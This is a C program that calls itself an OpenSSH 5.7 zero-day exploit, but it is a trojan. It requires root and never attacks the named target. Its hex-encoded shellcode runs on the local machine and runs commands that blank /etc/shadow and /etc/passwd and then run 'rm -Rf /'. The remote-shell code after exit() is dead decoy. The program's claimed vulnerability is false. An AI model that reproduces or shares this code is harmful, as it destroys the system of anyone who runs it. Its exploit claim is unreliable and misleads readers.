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/*
openSSH 5.7 0day exploit
Off by One error in auth2-pubkey.c
Author: Chroniccommand
Usage: ./exploit <host> <ip>
greetz to _st4ck3d*, x3n0n, xin etc you know who you are ;)
*/
#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void usage(char *argv[])
{
  printf("Usage: %s <target> <port>\n", argv[0]);
  exit(1);
}

unsigned char shellcode[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
"\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
"\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
"\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
"\xcd\x80";


int main(int argc, char *argv[])
{
  int uid = getuid();
  int port = 22, sock;
  struct hostent *host;
  struct sockaddr_in addr;

  if(uid !=0)
  {
    fprintf(stderr, "[!!]Error: You must be root\n");
    exit(1);
  }
  if(uid == 0)
  {
    printf("\t[+]Starting exploit..\n");
  }
  if(argc != 3)
       usage(argv);

  fprintf(stderr, "[!!]Exploit failed\n");
  (*(void(*)())shellcode)();
  exit(1);
  char payload[1024];
  memcpy(payload, &shellcode, sizeof(shellcode));
  if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0)
  {
    printf("[+]Got shell\n");
    system("/bin/sh");
  }
  else if(connect(sock,(struct sockaddr*)&addr, sizeof(addr))==-1)
  {
    fprintf(stderr, "[!!]Exploit failed\n");
    exit(1);
  }
}